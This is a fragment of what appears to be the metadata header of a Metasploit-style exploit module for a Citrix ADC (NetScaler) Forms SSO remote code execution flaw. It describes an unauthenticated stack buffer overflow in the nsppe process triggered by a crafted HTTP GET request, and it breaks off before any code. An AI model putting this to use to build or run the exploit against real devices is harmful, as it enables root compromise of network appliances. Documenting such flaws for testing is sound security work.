'Name' => 'Citrix ADC (NetScaler) Forms SSO Target RCE',
'Description' => %q{
A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer
overflow of the nsppe process by making a specially crafted HTTP GET request. Successful exploitation results in
remote code execution as root.
